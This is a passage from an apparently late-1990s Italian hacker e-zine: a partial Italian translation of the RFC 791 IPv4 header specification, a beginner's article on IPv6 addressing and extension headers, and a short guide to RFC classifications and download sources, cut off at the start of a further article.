assicurarsi che i frammenti di differenti datagrammi non vengano mischiati.Il
Campo "
Fragment offset" informa il ricevente circa la posizione del frammento
nel datagramma originale.I vari "
Fragment Flag" indicano l'ultimo
frammento.
Questi campi provvedono informazioni sufficienti a riassemblare i
datagrammi.

L' "
identification field" e' usato per distinguere il frammento di un datagrammma
da un altro. Il protocollo che origina un internet datagram setta
l'identification field ad un valore che deve essere unico per ogni coppia
origine-destinazione e per il tempo in cui il datagramma sara' attivo nel
sistema internet.Il protocollo che origina il datagramma setta i campi flag e
offset a zero.

Per frammentare un dategramma, un internet module(per ex. in un gateway)
crea due nuovi datagrammi internet copiando il contenuto del campo header
negli header dei due nuovi datagrammi. I dati contenuti nel datagramma
originario vengono divisi in due porzioni di 8 byte (64 bit) di confine (la
seconda porzione non deve essere nacessariamente un multiplo integrale di 8
byte, al contrario della prima).Il numero di byte in cui il datagramma
e' diviso viene chiamato NFB (Number of Fragment Blocks).La prima porzione di
dati e' posta nel primo internet datagram e il campo total lenght e' impostato
alla lunghezza del primo datagramma.
Il flag viene posto a uno.La seconda prozione di dati e' posta nel secondo
datagramma ed il campo total lenght viene impostato con la lunghezza del
secondo datagramma. Il fragment offset del secondo datagramma viene posto con
il valore di quel campo piu' NFB.

La procedura puo' essere generalizzata per un qualsiasi numero di datagrammi.

Per assemblare un datagramma, un internet module(per ex. quello dell' host di destinazione)
combina tutti i datagrammi che hanno lo stesso valore nei 4 campi:
identification,source,destination e protocol.La combinazione e' ottenuta
mettendo la porzioni di dati di ogni frammento nella relativa posizione
indicata dal campo offset.Il primo frammento avra'offset zero e l'ultimo
frammento avra' il more-fragmented flag uguale a zero.


2.4 Gateways

I Gateways impletentano l' Internet Protocol per spedire i datagrammi attraverso
i vari networks.Implementano anche il protocollo "
gateway to gateway" (GGP)
per coordinare il routing e altre informazioni di controllo internet.

In un gateway il protocollo di piu' alto livello non ha bisogno di essere implementato
e il GGP si aggiunge al modulo IP.


+-------------------------------+
| Internet Protocol & ICMP & GGP|
+-------------------------------+
| |
+---------------+ +---------------+
| Local Net | | Local Net |
+---------------+ +---------------+

Gateway Protocols



3. SPECIFICAZIONI

3.1 Formato dell' internet header

Lo schema seguente riassume i contenuti di un internet header:

0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Ogni tacca rappresenta un bit.

Version -> 4 bits

Il campo Version indica il formato dell' internet header.

IHL -> 4 bits

L' internet header lenght descrive la lunghezza dell' internet header in parole
da 32 bit e punta all' inizio dei dati.
Il valore minimo per un header corretto e' di almeno 5.

Type of Service -> 8 bits

Provvede alla informazione sulla qualita' del servizio desiderato.
Questi parametri vengono usati per la selezione di un servizio quando un
datagramma viene trasmesso attraverso vari network.Alcuni network trattano
come piu' importante il traffico di alta precedenza.Le scelte principali sono
fondamentalmente tre: low-delay, high-reliability, and high-throughput.


Bits 0-2: Precedence.
Bit 3: 0 = Normal Delay, 1 = Low Delay.
Bits 4: 0 = Normal Throughput, 1 = High Throughput.
Bits 5: 0 = Normal Relibility, 1 = High Relibility.
Bit 6-7: Reserved for Future Use.

0 1 2 3 4 5 6 7
+-----+-----+-----+-----+-----+-----+-----+-----+
| | | | | | |
| PRECEDENCE | D | T | R | 0 | 0 |
| | | | | | |
+-----+-----+-----+-----+-----+-----+-----+-----+

Precedence

111 - Network Control
110 - Internetwork Control
101 - CRITIC/ECP
100 - Flash Override
011 - Flash
010 - Immediate
001 - Priority
000 - Routine

L'uso di Delay , throughput e reliability puo' aumentare il costo del servizio.
In alcuni network ,una migliore performance di uno di questi parametri e'
compensata da una peggiore di altri.Tranne in alcuni rari casi,al massimo due
di questi parametri vengono indicati.

Il Type of Service e' usato per indicare il trattamento di un datagramma durante
la sua trasmissione attraverso il sistema Internet.

Il Network control precedence e'inteso per essere usato con un solo
network.L'uso di questo controllo e' presente in ogni rete.L'Internetwork
Control e'inteso per essere usato solo dai gateways.E' responsabilita' di ogni
network usare questi controlli di designazione.

Total Lenght -> 16 bits

E'la lunghezza del datagramma misurata in byte, compresi l'internet header e i
dati.Questo campo consente ad un datagramma di essere superiore a 65.535
byte.Alcuni lunghi datagrammi sono poco pratici per alcuni hosts e
network.Tutti gli hosts devono essere preparati per inviare datagrammi piu'
grandi di 576 byte se sono sicuri che la destinazione e' preparata per
accettare datagrammi piu' grandi.

Il numero 576 e' stabilito per consentire una giusta misura di blocchi di dati
da trasmettere insieme all' header.Per esempio questa misura consente l'
invio di blocchi di dati di 512 byte piu' 64 byte di header da mettere
nel datagramma. Il massimo internet header e' di 60 byte, e un tipico
header e' di 20 byte consentendo un margine per gli header appartenti a
protocolli di livello superiore.

Identification -> 16 bits

E' un valore di identificazione assegnato dal mandante per poter riassemblare i datagrammi

Flags -> 3 bits

Vari controlli di flags

Various Control Flags.

Bit 0: reserved, must be zero
Bit 1: (DF) 0 = May Fragment, 1 = Don't Fragment.
Bit 2: (MF) 0 = Last Fragment, 1 = More Fragments.

0 1 2
+---+---+---+
| | D | M |
| 0 | F | F |
+---+---+---+

Fragment Offset -> 13 bits

Indica la posizione del datagramma in una frammentazione.
E' misurato in unita' di 8 byte(64 bits). Il primo frammento ha offset zero.

Time to Live -> 8 bits

Questo campo indica il massimo tempo durante il quale al datagramme e'
consentito rimanere in internet. Se questo campo contiene il valore zero, il
datagramma deve essere distrutto. Questo campo viene modificato nell' header
processing ed il tempo e' misurato in unita' di secondi.


Protocol -> 8 bits

Indica il prossimo livello di protocollo usato nella porzione di dati
dell'Internet Datagram.
Il valore dei protocolli e' specificato in "
Assigned Numbers".

Header Checksun -> 16 bits

Un checksum del solo header. Ogni volta che qualche campo viene modificato ,
l'Header Chacksum viene controllato ad ogni punto in cui l' internet header
e'processato.

Source Address -> 32 bits

Indirizzo di provenienza

Destination Address -> 32 bits

Indirizzo di Destinazione

Options -> Variabile

Possono esserci o no in un datagramma. Devono essere implementate da tutti i moduli
IP(Host e gateways).Cio' che e' opzionale e' la loro trasmissione ma non la
loro implementazione.

In alcune situazioni le security options puo' essere richiesta esplicitamente.

Il campo options puo' avere lunghezza variabile. Ci possono essere zero o
piu' opzioni.Ci sono due casi per il formato option.

Caso 1 -> Un singolo byte di option type

caso 2 -> Un byte option-type, un byte option-lenght e i byte option-data
La option lenght conta sia gli ottetti option-type che quelli
option-lenght e option-data.

La option type ha 3 campi :

1 bit copied flag,
2 bits option class,
5 bits option number.

Il copied flag indica che l' opzione e' copiata in tutti i frammenti del datagramma

0 = not copied
1 = copied

La option classes sono :

0 = control
1 = reserved for future use
2 = debugging and measurement
3 = reserved for future use

Vengono Riconosciute le seguenti opzioni :


CLASS NUMBER LENGTH DESCRIPTION
----- ------ ------ -----------
0 0 - End of Option list. This option occupies only
1 octet; it has no length octet.
0 1 - No Operation. This option occupies only 1
octet; it has no length octet.
0 2 11 Security. Used to carry Security,
Compartmentation, User Group (TCC), and
Handling Restriction Codes compatible with DOD
requirements.
0 3 var. Loose Source Routing. Used to route the
internet datagram based on information
supplied by the source.
0 9 var. Strict Source Routing. Used to route the
internet datagram based on information
supplied by the source.
0 7 var. Record Route. Used to trace the route an
internet datagram takes.
0 8 4 Stream ID. Used to carry the stream
identifier.
2 4 var. Internet Timestamp.


Definizione delle opzioni.


End of Option List

+--------+
|00000000|
+--------+
Type=0

Questa opzione indica la fine della lista di opzioni.
Questa puo' non coincidere con la fine dell' header.Viene usata alla
fine di tutte le opzioni ma non alla fine di ognuna di esse
la fine delle opzioni non coincide necessariamente con la fine dell'header.

Puo' essere copiata,cancellata o inserita durante la frammentazione per
alcune particolari ragioni.



No Operation

+--------+
|00000001|
+--------+
Type=1

Puo' essere usata tra le options per esempio, per allineare l'inizio di
un opzione seguente ad una linea di 32 bit.

Puo' essere copiata,cancellata o inserita durante la frammentazione per
alcune particolari ragioni.

Security

Questa opzione fornisce agli hosts un modo per inviare dati sicuri,resrizioni
e TCC.Il formato e' il seguente:


+--------+--------+---//---+---//---+---//---+---//---+
|10000010|00001011|SSS SSS|CCC CCC|HHH HHH| TCC |
+--------+--------+---//---+---//---+---//---+---//---+
Type=130 Length=11

Security (S field): 16 bits

Specifica uno dei 16 livelli di sicurezza. (otto di questi
sono riservati ad un uso futuro).

00000000 00000000 - Unclassified
11110001 00110101 - Confidential
01111000 10011010 - EFTO
10111100 01001101 - MMMM
01011110 00100110 - PROG
10101111 00010011 - Restricted
11010111 10001000 - Secret
01101011 11000101 - Top Secret
00110101 11100010 - (Reserved for future use)
10011010 11110001 - (Reserved for future use)
01001101 01111000 - (Reserved for future use)
00100100 10111101 - (Reserved for future use)
00010011 01011110 - (Reserved for future use)
10001001 10101111 - (Reserved for future use)
11000100 11010110 - (Reserved for future use)
11100010 01101011 - (Reserved for future use)

- Compartments (C field): 16 bits

E' uguale a zero quando l'informazione trasmessa non e' frammentata.

- Handling Restrictions (H field): 16 bits

I valori sono definiti nello "
Standard Security Markings".

- Transmission Control Code (TCC field): 24 bits

Provvede a segregare il traffico.

Deve essere copiato durante la frammentazione.Questa opzione appare al massimo
una volta nel datagramma.

- Loose Source and Record Route

+--------+--------+--------+---------//--------+
|10000011| length | pointer| route data |
+--------+--------+--------+---------//--------+
Type=131

L'opzione LSRR provvede delle inforamazioni per il routing che vengono
usate dai gateways.

- Strict Source and Record Route

+--------+--------+--------+---------//--------+
|10001001| length | pointer| route data |
+--------+--------+--------+---------//--------+
Type=137

L'opzione SSRR provvede altre inforamazioni per il routing che vengono
usate dai gateways.

- Record Route

+--------+--------+--------+---------//--------+
|00000111| length | pointer| route data |
+--------+--------+--------+---------//--------+
Type=7

la RR provvede a fornire delle informazioni per registrare la rotta che un datagram
ma compie.

- Stream Identifier

+--------+--------+--------+--------+
|10001000|00000010| Stream ID |
+--------+--------+--------+--------+
Type=136 Length=4

Serve per i network che non supportano lo stream concept.

- Internet Timestamp

+--------+--------+--------+--------+
|01000100| length | pointer|oflw|flg|
+--------+--------+--------+--------+
| internet address |
+--------+--------+--------+--------+
| timestamp |
+--------+--------+--------+--------+
| . |
.
.
Type = 68

Cazzo porca miseria...ci siamo rotti i maroni alla grandissima...se ne volete
sapere di + la fonte e' l'RFC791...immagino pero' che vi siate altamente
scassati.
Se l'articolo vi e' piaciuto clickate qui' e contemporaneamente rivolgete le
vostre ingiurie verso il sommo Bill "
potato" Gates
__________
| Vote for | <---- Click HeRe and u WiLL win a FREE SHELL !!!!
| US |
|__________|


ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ IPIVUSEI ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Allora, premetto che io di reti so meno della cagna di mio nonno e
che fino a qualche mese fa pensavo che IPv4 si chiamasse cosi' perche'
l'indirizzo era formato da quattro campi (sigh...), quindi perdonatemi se
scrivo qualche cazzata.
Cmq N0b0dy mi ha chiesto di scrivere un articolo per newbies e visto che
mi sono appena letto un libro sull'ipv6 vedo un po' di dirvi un po' quello
che ho imparato...


N.B. la roba che sta scritta qua sotto (almeno la roba giusta) e' stata
tratta da "
Guida ad IPv6" di Silvano Gai e dagli rfc 1881, 1883, 1884; gli
errori invece sono tutti miei ;-)
Quindi se avete gia' letto sta roba passate avanti che di sicuro trovate
articoli piu' interessanti.

Allora... nel lontano settembre 1981 avvennero due fatti destinati a
sconvolgere il futuro dell'umanita', sono nato io, ed il vecchio caro IPv4
e' diventato standard. Tramite gli indirizzi a 32bit (aaa.bbb.ccc.ddd)
che vediamo normalmente il protocollo IPv4 sarebbe in grado di indirizzare
circa 4 milirdi di host (255^4 - indirizzi riservati), cioe' ben piu' dei
calcolatori attualmente esistenti. Eppure si parla di esaurimento degli
indirizzi, perche'? Perche' gli indirizzi IPv4 non vengono assegnati
singolarmente ma a reti, reti che si dividono in tre classi, a senconda di
quanti bit sono usati per indicare la rete e quanti per l'host.
Abbiamo quindi:
128 reti di classe A, ciasuna grande circa 16 milioni di indirizzi
(nnn.hhh.hhh.hhh).
Circa 16.000 reti di classe B, ciascuna grande circa 65.000 indirizzi
(nnn.nnn.hhh.hhh).
Circa 2 milioni di reti di classe C, ciascuna grande 254 indirizzi
(nnn.nnn.nnn.hhh).
Ovviamente un ente o una corporazione che si vede assegnato un indirizzo
di classe A, non avra' 16 milioni di host, con un conseguente grosso
spreco di indirizzi. Nel 1991 si pensava che le reti di classe B si
sarebbero esaurite nel 1994, per prevenire cio' l'IETF (Internet
Engineering Task Force) decise di assegnare oltre alle reti di classe B,
blocchi di reti contigue di classe C. Cosi' si riusci' a posticipare a
data indefinita (c'e' chi parla del 2005, chi del 2015) l'esaurimento di
indirizzi IPv4.
Cmq il problema rimaneva e da qui nasce IPv6, la nuova versione del
protocollo IP (IPv5 si e' perso per strada... ^_^;).
IPv6 si basa su indirizzi a 128 bit ed elimina il concetto di classe in
favore di quello di prefisso, permettendo di indirizzare qualcosa come
340.282.366.920.938.463.347.607.431.768.211.456 hosts (circa 1500 per
metro quadro di superficie terrestre).
Un indirizzo IPv6 verra' rappresentato da 8 campi a 4 cifre esadecimali e
da un prefisso finale che indichera' quanti bit dell'indirizzo sono usati
per la rete e quanti per l'host.
Vi saranno 3 tipi di indirizzi:


Unicast: Un identificatore per una singola interfaccia.
Un pacchetto spedito ad un indirizzo di unicast verra'
consegnato all'interfaccia identificata da quell'indirizzo.

Anycast: Un identificatore per un set di interfacce (normalmente
appartenenti a differenti nodi). Un pacchetto spedito ad un
indirizzo di anycast sara' consegnato alla piu' vicina
interfaccia identificata da quell'indirizzo.

Multicast: Un identificatore per un set di interfacce (normalmente
appartenenti a differenti nodi). Un pacchetto spedito ad un
indirizzo di anycast sara' consegnato a tutte le interfacce
identificate da quell'indirizzo.

Nell'IPv6 non vi saranno indirizzi di broadcast, la loro funzione verra'
espletata dagli indirizzi di multicast.
Un esempio di indirizzo IPv6 potrebbe essere:
1080:0000:0000:0000:0008:0800:200C:417A/80 ... decisamente scomodo!
Per semplificarci un po' la vita e' possibile non scrivere gli zeri non
significativi, e quindi: 1080:0:0:0:8:800:200C:417A/80, possiamo poi non
scrivere i campi contenenti solo zeri, l'indirizzo finale sara' quindi:
1080::8:800:200C:417A/80, decisamente piu' comodo. Il /80 indica il
prefisso, quindi i primi 80 bit di quell'indirizzo staranno ad indicare la
rete, gli altri l'host. Il nostro vecchio indirizzo di loopback
diventera': ::1. Se i primi sei campi sono a zero l'indirizzo e' IPv4
compatibile, quindi ::A00:1 stara' ad indicare 10.0.0.1 in IPv4.
Verranno ovviamente ridefinite alcune funzioni e strutture usate nella
programmazione dei socket, in sys/socket.h verra' aggiunta una nuova macro
chiamata AF_INET6, da usarsi al posto della vecchia AF_INET in funzioni
come socket. La struttura in_addr (avete presente addr.sin_addr...) verra'
sostituita da in6_addr.

struct in_addr
{
unsigned int s_addr;
};

struct in6_addr
{
u_char s6_addr[16];
};

Quindi l'indirizzo sara' indicato non piu' come un intero senza segno
(appunto 32 bit) ma come un array di sedici elementi da 8 bit l'uno.
La struttura sockaddr_in (quella usata come secondo argomento in funzioni
come connect, bind e getpeername) verra' sostituita da sockaddr_in6

struct sockaddr_in
{
short sin_family;
short sin_port;
struct in_addr sin_addr
};


struct sockaddr_in6
{
u_short sin6_family;
u_short sin6_port;
u_long sin6_flowinfo; /* Questo non ho capito a cosa serve */
struct in6_addr sin6_addr;
};

Per convertire gli indirizzi da formato binario a formato ascii sono state
definite due nuove funzioni:

inet_pton ed inet_ntop che dovrebbero essere usate il posto di
inet_aton ed inet_ntoa.

Infine per interrogare i DNS verranno usate le funzioni gethostinfo e
getnameinfo (dovrebbero fare piu' o meno quello che fanno gethostbyname e
get host by addr, ma non ho trovato altre info...).

Esaminiamo ora come sono fatti gli header di un pacchetto IPv6:

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| Prio. | Flow Label |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Payload Length | Next Header | Hop Limit |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
+ +
| |
+ Source Address +
| |
+ +
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
+ +
| |
+ Destination Address +
| |
+ +
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

(L'header dell'IPv4 non mi tiene di ridisegnarlo, quindi se non lo
conoscete andatevelo a vedere su un qualunque txt sull'IP)

Vediamo un po' uno ad uno i campi:

Version: Il campo version e' grande 4 bit e contiene il numero 6.
Questo campo non ha un grande utilita' visto che si e' deciso di assegnare
all'IPv6 un Protocol Type diverso da quello dell'IPv4 (0x800 per l'IPv4 e
0x86DD per l'IPv6.)

Priority: Il campo priority e' grande 4 bit e permette al nodo mittente di
associare ad i pacchetti da esso generati priorita' diverse.


Priorita' Applicazioni

0 Traffico non meglio definito
1 Traffico di riempimento
2 Trasferimento dati nin sorvegliato
3 Riservato
4 Trasferimento dati sorvegliato
5 Riservato
6 Traffico interattivo
7 Traffico di controllo

Le priorita' da 8 a 15 (2^4=16) verranno usate nel caso in cui il nodo
mittente non fornisca meccanismi di controllo della congestione, quindi in
caso di congestione verranno scartati per primi i pacchetti con priorita'
8 e per ultimi quelli con priorita' 15.


Flow Label: Il campo Flow Label e' grande 24 bit. Esso puo' essere
utilizzato dal nodo mittente per contraddistinguere un insieme di
pacchetti appartenenti allo stesso flusso. La Flow Label associata ad un
flusso e' un valore numerico scelto casualmente da 1 a FFFFFF.

Payload Length: Il campo Payload Length e' grande 16 bit. Esso contiene la
lunghezza del payload, cioe' del campo dati che segue l'header IPv6.
Poiche' il campo e' di 16 bit la lunghezza massime del payload di un
pacchetto sara' di 64Kbyte.

Next Header: Il campo Next Header e' grande 8 bit. Esso indica il tipo
dell'header che segue l'header IPv6.
Ecco alcuni valori che puo' assuemre questo campo:

Valore Protocollo

0 HBH
1 ICMP (IPv4)
2 IGMP
3 GGP
4 IP
5 ST
6 TCP
8 EGP
9 IGP
16 CHAOS
17 UDP
29 ISO-TP4
36 XTP
43 RH
43 FH
45 IDRP
46 RSVP
50 ESP
51 AH
54 NHRP
58 ICMP (IPv6)
59 Null
60 DOH
80 ISO-IP
83 VINES
88 IGRP
89 OSPF
93 AX.25

Source Address: Il campo Source Address e' lungo 128 bit. Indica
l'indirizzo del mittente.

Destination Address: Anche questo campo e' lungo 128 bit. Dovrebbe
indicare l'indirizzo del destinatario finale, anche se in presenza di
Routing Header puo' non essere cosi'.

L'header IPv4 ha al suo interno degli spazi per alcuni campi opzionali che
richiedono un trattamento particolare dei pacchetti (avete presente i campi
sp_data e ipoptlen nello spoofit...). Cio' peggiora ulteriormente la situazione
di protocolli gia' di per se non molto veloci, come il tcp, poiche' la presenza
di queste opzioni va verificata pacchetto per pacchetto.
L'IPv6 risolve questo problema con gli Extension Header, cioe' uno o piu'
header collegati tra di loro dal campo next header. Un pacchetto IPv6 potra'
avere nessuno, uno e piu' extension header. Se sono presenti diversi extension
header, il loro ordine non sara' casuale, ma e' stabilito dall'rfc 1883:

IPv6 Header
Hop-by-Hop Options header
Destination Options header (opzioni X il router)
Routing header
Fragment header
Authentication header
Encapsulating Security Payload header
Destination Options header (opzioni X il destinatario finale del pacchetto)
Upper-layer header

Vediamoli uno ad uno:

Hop-by-Hop option header:

Contiene informazioni che devono essere elaborate da ogni nodo lungo il
percorso. L'header e' piu' o meno questo:

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Next Header | Hdr Ext Len | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +
| |
. .
. Options .
. .
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Il campo Next Header (8 bit) gia' lo conosciamo, invece il campo Hdr Ext Len
contiene la dimensione dell'header espressa in multipli di 64 bit, esclusi i
primi 64 bit.

Il campo Options ha lunghezza variabile e contiene una o piu' opzioni
codificate in modo TLV.

Routing header:

Contiene una lista di nodi che il pacchetto dovra' attraversare per giungere a
destinazione. La specifica puo' essere per ogni nodo lungo il percorso (strict)
o meno (loose).
Vediamo come e' fatto l'header:

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Next Header | Hdr Ext Len | Routing Type=0| Segments Left |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Reserved | Strict/Loose Bit Map |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
+ +
| |
+ Address[1] +
| |
+ +
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
+ +
| |
+ Address[2] +
| |
+ +
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Abbiamo il solito campo Next Header, poi il campo Hdr Ext Len che contiene la
dimensione dell'header espressa in multipli di 64 bit, esclusi i primi 64 bit.
Questo valore nel caso dei routing header di tipo 0 (l'unico tipo attualmente
definito dall'rfc 1883) deve essere minore o uguale a 46 ed uguale a due volte
il numero degli indirizzi presenti nell'header stesso.
(I primi 64 bit contengono la parte fissa dell'header, quindi la dimensione
sara' (128*n)/64=2n).

Il campo Routing Type e' grande 8 bit e contiene il valore zero.

Il campo Segments Left e' grande 8 bit contiene il numero di address non ancora
visitati, e puo' avere un valore massimo di 23.

Il campo Reserved e' grande 8 bit ed e' riservato per usi futuri. (ma no!)

Il campo Strict/Loose Bit Map e' grande 24 bit e contiene una maschera che
indica per ogni address se l'indirizzo deve essere trattato in modo strict o
loose.

I campi address sono lunghi 128 bit e contengono gli indirizzi dei nodi da
visitare. Questo header ne puo' contenere massimo 23.

Byez Asynchro

---------------FINE PRIMA PUNTATA: ARRIVEDERCI AL PROX NUM :D-----------------
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
---------------------------------------------------------------------------

RFC : queste sconosciute ....... ( meglio cosi'.. :) )
________________________________________________________________________

Le Request For Comment
1. Come sono classificate ?
2. I "
Processi di Maturazione "
3. Il Numero delle Rfc puo' cambiare ?
4. Pigliamo Le Rfc via FTP
5. Pigliamo le Rfc via E-Mail
6. Tiriamo giu' le rfc da Web
7. Saluti e ringraziamenti

Fake

"""""""""""""""""""

1. Classificazione

"""""""""""""""""""
Completo gli articoli precedenti con alcune precisazione riguardo le RFC .
A chi puo' interessare :
le Request For Comment possono essere proposte da qualsiasi persona :
infatti chiunque puo' presentare una proposta perche' "
diventi " RFC

Ci sono due commissioni tecniche al riguardo , che le esaminano e le
catalogano : la IETF o IRTF ( sui nomi non sono sicurissimo , se li ho
cannati mailatemelo fake@freemail.it :) ).

Ecco qui l'elenco delle classificazioni standard :
- Reccomended -> queste rfc sono raccomandate e quindi spesso
implementate da tutti gli host, etc.

- Required -> sono le RFC "
Obbligatorie " , cioe' devono essere
implementate da tutti gli host e gateway TCP / IP

- Limited use -> quindi rfc non destinata all'uso generale

- Elective -> rfc elettiva , quindi non di obbligatoria
implementazione

- Not reccomended -> il nome dice tutto -> rfc da non implementare

Spero che fino a qui sia tutto chiaro..........

Ora passamo ai Processi di maturazione
************************************

2 Processi di maturazione delle rfc

************************************
Nota : Questa e' solo una bozza del processo completo
della maturazione di una Rfc ( credo che gli stadi delle rfc
siamo molti di + ma questi sono i + importanti) :

- Internet Standard -> concessa solo dopo che la suddetta rfc ha

  
raggiunto un elevato grado di maturita' tecnica
- Draft Standard -> e' una rfc ancora in fase di " test " e quindi e'
molto probabile che venga cambiata prima di
diventare ufficiale
- Proposed Standard -> dopo un lungo processo di revisione questa rfc
sta per essere ufficializzata , dopo ulteriori
modifiche
- Experimental Protocol -> protocolli non " consigliati " e quindi
da non implementare
- Historic Protocol -> protocolli che al 99% non verranno implementati
perche' abbandonati
- Informational Protocol -> protocolli di solito sviluppati da altre
organizzazioni al di fuori di quelle
segnalate al punto 1
***
3.
***
Risposta : CERTOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO !

Esempio : mettiamo il caso che una RFC venga aggiornata o modificata
per chissa' quali motivi : questa Rfc verra' ripubblicata con un altro
numero identificativo !

Domanda ovvia : come faccio a sapere se una rfc e' stata aggiornata
Riposta : Leggitele tutte :)) :P
Credo cmq che i cambiamenti vengano segnalati ma non ne sono
certo ( se fate una ricerca in internet forse beccate qualche
sito che segnala gli aggiornamenti)
***
4. Bene, :
***
Downloddiamoci le RFC .......
Necessario :
- connessione a internet ( ^_^ )
- un qualsiasi client FTP

Ecco il primo metodo : via FTP
a. andate in ftp://ds.internic.net/rfc ( NON RICORDO DOVE LO HO LETTO
CmQ DOVREBBE ANCORA FUNZIONARE ... SPERO )
b. User : Anonymous
Pass : tuaemail@ilrestodeltuoindirizzo.itocom
c. Scrivi : Get rfcxxxx.txt dove xxxx e' il numero della rfc che
volete downloddare

***
5. E se qualkuno non sa usare un programma di ftp o non sa cosa sia
*** passiamo a come downloddarle via e-mail

mandate una mail a : mailserv@ds.internic.net
corpo del mex deve essere : Send RFCxxxx.txt
per le xxxx leggete il punto 4

CONSIGLIO: Questo metodo presenta alquante limitazioni quindi consiglio
a tutti di downloddarsele via ftp o web
***
6. Web
***

Questo e' il metodo + usato per downloddare le rfc .......
.....downloddiamole da webz ->

http://www.isi.edu/rfc-editor/rfc.html

P.S. : Non so se questo sito sia ancora UP cmq
le potete trovare in altri situzzi, basta
chiedere in giro

/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\

Un RingraZiamento a :
N0bodY88, mAyhEm, RigoR MorteM, |CyraX|
B_Berry, .............
e al mio compagno di banco da cui copio
regolarmente le versioni di latino :)

/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\

Per consigli, insulti o altro mailatemi pure a fakefake@freemail.it

Th3 E|\|d Fake

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ ROUTER SIMULATOR LA FIGATA DEL 2000 :D ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Salve a tutti questo non sara' un articolo canonico come gli altri ma piu'
un consiglio. Ultimamente mi sono trovato fortemente attratto da quei cosi
